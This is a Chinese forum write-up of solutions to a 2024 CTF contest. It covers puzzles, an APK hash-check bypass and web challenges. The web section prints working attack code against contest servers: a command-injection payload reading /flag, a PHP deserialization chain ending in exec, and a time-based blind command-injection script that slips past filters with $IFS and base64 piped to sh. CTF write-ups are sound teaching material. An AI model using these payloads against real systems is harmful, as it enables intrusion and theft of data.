2024年第一届吾杯解题writeup
1629192581190874 发表于 江西 CTF 917浏览 · 2024-12-01 15:40

MISC:

旋转木马:

这道题给了两个flag 打开后发现是两段base 不过应该是分隔开了

将flag2拼接到flag1后面 形成一个完整base

with open('flag1', 'r') as f1:
    part1 = f1.read()

with open('flag2', 'r') as f2:
    part2 = f2.read()

with open('flag3', 'w') as f3:
    f3.write(part1 + part2)

进行循环解码(这么大的base64 其实是循环了很多次进行编码实现的)

import base64

def base64_decode_multiple_times(encoded_text, times):
    decoded_text = encoded_text
    for _ in range(times):
        decoded_text = base64.b64decode(decoded_text.encode()).decode()
    return decoded_text

if __name__ == "__main__":
    input_filename = "flag3"
    with open(input_filename, "r") as file:
        encoded_text = file.read()

    times = int(input("请输入需要解密的次数:"))

    decoded_text = base64_decode_multiple_times(encoded_text, times)
    print(f"{times} 次 Base64 解码后的结果为:{decoded_text}")

经过测试 结果是53次

解码后拿到的结果是hex编码 进行解码后即可拿到flag

原神启动:

题目给了一张图片和一个有密码的压缩包 推测压缩包密码藏在图片里面,经过异色 拿到了flag(最下方)

接下来拿着这个flag去解压zip文件包

打开发现是一个docx文件 藏了一张图片和一段文字(文字在图片后面 把图片移动一下就能看到了)

将文字颜色修改可以看到也是一个flag
图片里面可以看到是一个flag 但不是很清晰,所以吧docx后缀改为zip,将图片提取出来进行异色

意外发现里面还藏了个压缩包 拿出来发现也是要密码,结合上面两个flag可以推测出,密码就是flag
图片提取出来后,其实放大就可以看清flag,不需要异色操作

在docx发现的压缩包名称叫img,对应图片里面的flag 里面还有一个text 对应文字的flag 得知规律后进行解压

拿到最终的flag

太极:

循环取每个字符对应位置的拼音 z直接写了个脚本来跑:

taichi = "太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业"

hashMap = {
    "太": "tai",
    "极": "ji",
    "生": "sheng",
    "两": "liang",
    "仪": "yi",
    "四": "si",
    "象": "xiang",
    "八": "ba",
    "卦": "gua",
    "定": "ding",
    "大": "da",
    "吉": "ji",
    "凶": "xiong",
    "业": "ye"
}

# 遍历字符串,遇到 - 重置循环数
loop = 0
text = ""

for i in range(len(taichi)):
    if taichi[i] == "-":
        loop = 0
        print("-")
        text += "-"
    else:

        tmp = (hashMap[taichi[i]] * 4)[loop]
        text += tmp
        print(loop+1, taichi[i], tmp)
        loop += 1

print(text)

结果如下:

1 太 t
2 极 i
3 生 e
4 两 n
5 仪 y
-
1 两 l
2 仪 i
3 生 e
4 四 i
5 象 g
-
1 四 s
2 象 i
3 生 e
4 八 a
5 卦 u
-
1 八 b
2 卦 u
3 定 n
4 吉 i
5 凶 g
-
1 吉 j
2 凶 i
3 生 e
4 大 a
5 业 y
tieny-lieig-sieau-bunig-jieay

最终结果:tieny-lieig-sieau-bunig-jieay
加上flag头:WuCup{tieny-lieig-sieau-bunig-jieay}

音文:

本题目共有三个解法,第一个解法为官方预期解法,下面对其进行复现。
前部分都是一样的
拆分文件

010搜索到ZIP文件特征,我们把它拆出来
还原链接
从拆出来的ZIP文件中可以看到明显的提示包含下载链接

文件大小全是0,说明内容不在文件中,从文件命名格式来看,是有序排列
我们把文件名全部提取出来

import os
import re

# 获取当前文件夹内所有的 .txt 文件
txt_files = [f for f in os.listdir() if f.endswith('.txt')]

# 按文件名中的数字顺序排序
txt_files.sort(key=lambda f: int(re.findall(r'\d+', f)[0]))

# 用于存储处理后的文件名部分
result = []

# 遍历每个文件
for file in txt_files:
    if file == '1.txt':
        continue  # 忽略1.txt本身,防止重复处理

    # 去除 .txt 后缀
    filename = os.path.splitext(file)[0]

    # 去除数字
    cleaned_filename = re.sub(r'[0-9]', '', filename)

    # 将结果添加到列表中
    result.append(cleaned_filename)

# 合并结果为一个不换行的字符串
final_result = ''.join(result)

# 将结果写入1.txt
with open('1.txt', 'w', encoding='utf-8') as file:
    file.write(final_result)

print("处理结果已按顺序写入1.txt")

字符排序非常像摩斯电码的格式,取少的字符串作为“/”现在‘苏珊’和‘哎哟’分别为“.”和“-”,经过调试,“哎哟”为“-”,苏珊为“.”
将摩斯转为正常字符串,得到了字符串的char集


将char集转换成正常文字

接下来的解法存在两种:
第一种:
通过拆分文件拿到Flag
在拆分ZIP的时候,我们将除ZIP以外的数据保存为WAV文件

with open('flag.wav', 'rb') as f:
    data = f.read().hex()
    start = data.find('504b0304')
    with open('download_url.zip', 'wb') as f2:
        f2.write(bytes.fromhex(data[start:]))
    with open('at.wav', 'wb') as f2:
        f2.write(bytes.fromhex(data[:start]))

在软件中写入文件的绝对路径进行解密


第二种:
修改APK判断绕过验证

以上这段代码不难看出是获取文件的Hash值,往前追溯调用处

将Hash传递给了 public static native boolean c(String str);
可以确定是Hash校验,我们直接把校验这段删掉,或者利用Hook改变进行绕过


报错了,调用了
FrequencyToCharMapper.OOOOOOOOoOoOOOooooooOoooOOooooOOOoooOooooOOooOOoOo
追踪过去

又折返回Utils了,继续追踪过去

嗯,sb.append((char) Integer.parseInt(split[i], 16));已经可以看出是将字符串作为16进制转为char了,抓一下public static String OOOOOOOOoOoooOooOOOOooOoOoOOOoOoOooOOOOOOOOooooOOO(String str)的参数
\\u57\\u75\\u43\\u75\\u70\\u7b\\u37\\u34\\u39\\u61\\u37\\u33\\u63\\u38\\u2d\\u66\\u31\\u64\\u65\\u2d\\u34\\u63\\u38\\u63\\u2d\\u39\\u62\\u38\\u66\\u2d\\u32\\u62\\u36\\u64\\u39\\u61\\u37\\u30\\u35\\u39\\u38\\u64\\u7d???????SSS???
是Unicode,将后面多余的删掉就的得到了
\\u57\\u75\\u43\\u75\\u70\\u7b\\u37\\u34\\u39\\u61\\u37\\u33\\u63\\u38\\u2d\\u66\\u31\\u64\\u65\\u2d\\u34\\u63\\u38\\u63\\u2d\\u39\\u62\\u38\\u66\\u2d\\u32\\u62\\u36\\u64\\u39\\u61\\u37\\u30\\u35\\u39\\u38\\u64\\u7d

也可以把传入的参数修改成咱们删掉多余部分的Unicode由此,绕过Hash验证进行解密成功

web:

HelloHacker(考点 参数拼接)

payload:incompetent=HelloHacker&WuCup=oxzverapn;$_POST"a";&a=system&b=cat /flag

ezphp:

考了PHP development server源码泄露漏洞
通过常用路径爆破 爆破到了flag.php和hint.php文件
使用bp构造payload读取flag.php

GET /flag.php HTTP/1.1
Host:
GET / HTTP/1.1

注意记得开启显示换行关闭更新Content-Length
读到代码
进入/hint.php 发现是phpinfoban掉了很多函数仔细观察exec可以用

反序列化payload:
payload:

<?php
highlight_file(__FILE__);
error_reporting(0);

class a{
    public $OAO;
    public $QAQ;
    public $OVO;
    public function __toString(){
        if(!preg_match('/hello/', OVO)){
            if ($this->OVO === "hello") {
                return $this->OAO->QAQ;
            }    
        }
    }
    public function __invoke(){
        return $this->OVO;
    }
}

class b{
    public $pap;
    public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
    public function __toString(){
        return $this->vqv;
    }
}
class c{
    public $OOO;
    public function __invoke(){
        @$_ = $this->OOO;
        $___ = $_GET;
        var_dump($___);
        if (isset($___['h_in.t'])) {
            unset($___['h_in.t']);
        }
        var_dump($___);
        echo @call_user_func($_, ...$___); 
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
        echo $this->UUU;
    }
    public function __destruct(){
        $this->UUU;
}
}
if(isset($_GET['h_in.t'])){
    echo unserialize($_GET['h_in.t']);
}
$a=new d();
$b=new a();
$c=new b();
$d=new c();
$a->UUU=$b;
$b->OVO="hello";
$b->OAO=$c;
$b->QAQ=var2;
$c->pap=$d;
$d->OOO="exec";
$payload= serialize($a);
echo $payload;
?>

Time Cage:

出题人的话:利用“时间”,出了一些好玩的小 trick,并且逐层深入,第二层对第三层也会起到提示作用。

<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
    $guess = $_GET['input'];
    $target = random_int(114 , 114 + date('s') * 100000);
    if(intval($guess) === intval($target)){
        echo "The next challenge in ".$key1;
    }
    else{
        echo "Guess harder.";
    }
}

第一层,其实读懂代码就能秒。

有一个 random_int 取随机数的过程,但是范围是从 114 到 114 加上环境系统时间的秒数乘 100000。那么很显然,当秒数为 0 时,这个随机数的范围就是 114 到 114,那么生成的数也就是 114。

我们只需要构造好 payload ?input=114,一直刷新就好,直到秒数为 0,就能出现下一层。

<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
    $pass = $_POST['pass'];
    if(strlen($pass) != strlen($password)){
        die("Wrong Length!");
    }
    $isMatch = true;
    for($i = 0;$i < strlen($password); $i++){
        if($pass[$i] != $password[$i]){
            $isMatch = false;
            break;
        }
        sleep(1);
    }
    if($isMatch){
        echo "The final challenge in ".$key2;
    }
    else{
        echo "Wrong Pass!";
    }
}
//Only digital characters in the password.

第二层,需要仔细观察。

需要用户提交一个正确的密码,通过就能到下一层。

我们可以先爆破这个密码的长度,手动试出来是 8。

如果我们硬爆这个密码,虽然只有数字字符,但是他长度为 8,要跑特别久,很不现实。

我们可以注意到里面有一句 sleep(1),也就是说当前这一位密码如果是正确的,响应就会延迟 1 秒,我们可以利用这一特点,根据响应的时间判断当前字符是否正确,手动即可试出来密码为 56983215。

<?php
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    $pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
    if(preg_match($pattern,$cmd)){
        die("Invalid Input!");
    }
    shell_exec($cmd);
}
else{
    show_source(__FILE__);
}
//flag is in /flag

最后一层,需要结合上一层的方法。

这里是一个加了过滤的无回显 RCE,同时禁止了写文件,curl 外带,以及反弹 shell。

flag 的路径我们知道,我们该如何获取 flag 的内容呢?

我们可以通过 head -c n /flag | tail -c 1 获取 flag 的第 n 个字符(head 获取前 n 个字符,作为 tail -c 1 的输入,从而获取到第 n 个字符)

然后我们爆破这个字符,如果正确,那么就执行 sleep 1

上述过程用 shell 命令表示就是 [$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2,通过这个命令,我们就能通过响应时间的差异,逐步得到 flag 的所有内容。

对于这个过滤,空格直接用 $IFS$9 绕过,其他特殊符号可以用 base64 编码绕过,也就是 echo base64编码后的命令 | base64 -d | sh

这里写一个脚本爆破,爆破结束后即可得到 flag。

import requests
import base64
import string
import time
flag = ""
part1 = "echo$IFS$9"
part3 = "$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh"
url = "http://challenge.wucup.cn:21098/EscapeEsc@p3Escape.php"
for i in range(1,200):
    for c in string.printable:
        print(flag)
        part2 = "[ \"$(head -c " + str(i)  + " /flag | tail -c 1)\" = \"" + c + "\" ] && sleep 2"
        #print(part2)
        payload = (part1+base64.b64encode(part2.encode()).decode()+part3)
        #print(payload)
        time1 = time.time()
        data = {
            "cmd": payload
        }
        requests.post(url, data=data)
        time2 = time.time()
        #print(time2-time1)
        if(time2-time1>1.6):
            flag+=c
            break
    print(flag)

Easy

key = 'hello world'
MOD = 256
s = [i for i in range(MOD)]
t = [key[i % len(key)] for i in range(MOD)]
j = 0
for i in range(MOD):
    j = (j + s[i] + ord(t[i])) % MOD
    s[i], s[j] = s[j], s[i]

with open('flag.txt', 'r') as f:
    flag_hex = ''.join(f.read().split())  
    flag = bytes.fromhex(flag_hex)
flagx = ''
i, j = 0, 0
for m in range(len(flag)):
    i = (i + 1) % MOD
    j = (j + s[i]) % MOD
    s[i], s[j] = s[j], s[i]
    x = (s[i] + (s[j] % MOD)) % MOD
    flagx += chr(flag[m] ^ s[x])

print(flagx)
0 条评论
某人
表情
可输入 255